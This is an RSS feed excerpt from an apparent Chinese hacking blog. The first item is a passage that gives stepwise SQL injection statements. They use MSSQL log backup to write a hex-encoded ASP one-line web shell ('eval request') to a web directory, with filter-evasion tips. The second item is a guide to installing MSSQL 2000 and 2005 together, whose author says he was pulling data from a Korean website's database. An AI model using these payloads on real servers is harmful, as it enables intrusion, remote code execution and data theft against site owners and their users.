style="color:Red">Hospital</span>]/**/to/**/disk=@d/**/with/**/init--<br/><br/>第三步<br/>;dro&#112;/**/table/**/[itpro]--<br/><br/>第四步<br/>;cr&#101;ate/**/table/**/[itpro]([a]/**/image)--<br/><br/>第五步<br/>;declare/**/@d/**/nvarchar(4000)/**/sel&#101;ct/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[<span style="color:Red">Hospital</span>]/**/to/**/disk=@d/**/with/**/init--<br/><br/>第六步<br/>;ins&#101;rt/**/into/**/[itpro]([a])/**/values(<span style="color:Yellow">0x3C25657865637574652872657175657374282261222929253EDA</span>)--<br/><br/>第七步<br/>;declare/**/@d/**/nvarchar(4000)/**/sel&#101;ct/**/@d=<span style="color:Orange">0x65003A005C007700650062005C007A002E00610073007000</span>/**/backup/**/log/**/[<span style="color:Red">Hospital</span>]/**/to/**/disk=@d/**/with/**/init--<br/><br/>第八步<br/>;dro&#112;/**/table/**/[itpro]--<br/><br/>第九步<br/>;declare/**/@d/**/nvarchar(4000)/**/sel&#101;ct/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[<span style="color:Red">Hospital]/</span>**/to/**/disk=@d/**/with/**/init--<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;其中红色的“<span style="color:Red">Hospital</span>”既是数据库名，这个要根据自己的情况来修改，然后黄色的“<span style="color:Yellow">0x3C25657865637574652872657175657374282261222929253EDA</span>”是一句话“&lt;%eval request(&#34;a&#34;)%&gt;”的内容，橙色的“<span style="color:Orange">0x65003A005C007700650062005C007A002E00610073007000</span>”为备份的路径“e:\web\z.asp”，都是使用的SQL_En的格式，另外第三步大可以不需要！他是删除itpro的表，如果第一次的话这个表是不存在的，就会提示无权限的信息。另外在语句“disk=@d”的地方可以将“=”更换成“%3D”，就是使用URL编码。“/**/”就等于空格了，这个大家在学习注入的过程中应该了解，也可以更换成“%20”。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;以上的语句仅供大家参考！有不足的地方大家可以积极指正，一起探讨。文章转载请注明出处与作者！谢谢！]]></description>
		</item>
		
			<item>
			<link>http://www.enjoyhack.com/article/Synthesize/xpmssql.htm</link>
			<title><![CDATA[XP同时安装MSSQL200与MSSQL2005图解]]></title>
			<author>haifanlovely@163.com(enjoyhack)</author>
			<category><![CDATA[综合利用]]></category>
			<pubDate>Fri,03 Sep 2010 14:02:13 +0800</pubDate>
			<guid>http://www.enjoyhack.com/default.asp?id=61</guid>
		<description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;大家都知道MSSQL2005的数据库是不能拿到MSSQL2000上直接还原的，所我们要想拿MSSQL2005中的数据就要将备份的数据拿到MSSQL2005上还原。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;昨晚在拿一韩国网站的数据库时候就遇到了这个问题，本想在服务器上直接导出自己需要的数据，但数据量太多，有十万多条，导出到EXCEL只导到60000多条的时候就不行了，加之棒子的文字又不认识，在服务器上操作比较麻烦，于是打算在自己本地安装个MSSQL2005，然后再把备份数据库拿到我本地还原。由于我电脑上之前已安装过MSSQL2000，现在我想让MSSQL2000和2005共存，在下载MSSQL2005的时候都在网上翻阅了些资料，最终是经过两次的安装我才总算搞定了，本文就对安装过程做个详细的讲解，希望对用到的朋友有所帮助。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;首先我们还是要下载MSSQL2005的光盘镜像，我这里将就贴出电驴下载地址，使用迅雷下载速度很快，我本地最快速度能达到1M每秒。MSSQL2005下载地址：<a href="http://www.enjoyhack.com/ed2k://" target="_blank" rel="external">ed2k://</a>|file|SQL_2005_All%E7%AE%80%E4%BD%93%E4%B8%AD%E6%96%87%E5%BC%80%E5%8F%91%E7%89%88DVD.iso|1870581760|25D3E5CEFB407E7CA1036BE303AC4643|h=RRKW5CRB2GSN24WUZY5ID5ENVY75QODJ|<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;下载回来后是iso的光盘镜像，这个可以直接使用RAR释放出来，接下来的工作就是安装了，在安装之前我们需要先停止之前电脑上安装的MSSQL2000，打开系统托盘处的MSSQL服务管理器，然后停止当前MSSQL服务，再将MSSQL服务管理器从系统托盘处推出。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;接下来我们到释放处的MSSQL2005目录下，运行目录下的splash.hta文件开始安装，在开始的地方我就选择“基于 x86 的操作系统 (8)”，然后进入如下界面：<br/><br/><div align="center"><img src="http://www.enjoyhack.com/attachments/month_1009/3201093133355.jpg" border="0" alt=""/></div><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;这里我们选择“服务器组件、工具、联机丛书和示例(c)”进入许可协议界面，然后选择“我接受许可条款和条件”点下一步，进入安装必备软件界面。<br/><br/><div align="center"><img src="http://www.enjoyhack.com/attachments/month_1009/n201093133634.jpg" border="0" alt=""/></div><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;安装完成后进入下一步等待安装程序扫描配置环境，扫描完成再点击下一步对系统配置进行检查。<br/><br/><div align="center"><img src="http://www.enjoyhack.com/attachments/month_1009/7201093133818.jpg" border="0" alt=""/></div><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;这里检查的结果最好是全部为“成功”，若有某项为成功的话最好点击查看详细错误，然后网上搜索下资料解决了，完了之后点击下一步，再下一步。<br/><br/><div align="center"><img src="http://www.enjoyhack.com/attachments/month_1009/5201093134036.jpg" border="0" alt=""/></div><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;到这里我是全部选择了的，然后下一步进入实例名设置界面。<br/><br/><div align="center"><img src="http://www.enjoyhack.com/attachments/month_1009/w201093134231.jpg" border="0" alt=""/></div><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;到了这里才是xp上同时安装MSSQL2000和MSSQL2005最关键的地方，因为我们安装MSSQL2005的目的就是要使用MSSQL2005还原MSSQL2005的数据库，而且还要保证MSSQL2000也正常，所以我们这里在实例名这个地方就需要重命名一个新的实例，之前我安装第一次的时候就是参照网上的资料，这里选择已安装的实例，然后去选择了电脑上安装的MSSQL2000的实例，这样安装后是升级之前MSSQL200的实例，安装完成后MSSQL的版本还是2000的，没法还原2005的数据库。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;实例名就随便起一个了，然后我们点击进入下一步。后面基本就是默认的了<br/><br/><div align="center"><img src="http://www.enjoyhack.com/attachments/month_1009/d201093134822.jpg" border="0" alt=""/></div><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;到服务账户这个地方的时候我选择的是使用内置系统账户，去掉“为每个服务账户自定义”前面的勾，然后下一步，然后到身份验证的地方。<br/><br/><div align="center"><img src="http://www.enjoyhack.com/attachments/month_1009/r201093135010.jpg" border="0" alt=""/></div><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;这里我选择的是使用“Windows 身份验证模式”，然后下一步，再下一步就进入安装了，安装过程大概需要十几分钟到二十分钟左右。安装完成了我们就可以使用SQL Server Management Studio工具同时连接我们的MSSQL2000的实例和MSSQL2005的实例了。<br/><br/><div align="center"><img src="http://www.enjoyhack.com/attachments/month_1009/k201093135253.jpg" border="0" alt=""/></div><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;打开SQL Server Management Studio时候，在“服务器名称”哪里的下拉菜单中选择“浏览更多”，然后就可以看到我们MSSQL2000和刚安装的MSSQL2005实例的，要使用那个就选择那个即可。当然之前的MSSQL2000也可以使用MSSQL2000的企业管理器来连接了。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;网上对xp同时安装MSSQL2000和MSSQL2005的详细文章很少，我在安装之前搜索出来的都不是很靠谱的，基本都是一两篇文章转载去转载过来的，而且也不是详细的安装过程，现在把这个过程写出来希望对需要同时用到MSSQL2000和MSSQL2005的朋友有所帮助。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;文章中的安装过程均为笔者在自己电脑上的全部过程，有什么不当的地方欢迎指正，另欢迎转载本文，但转载时请注明出处与作者，谢谢！<br/>]]></description>
		</item>
		
</channel>
</rss>

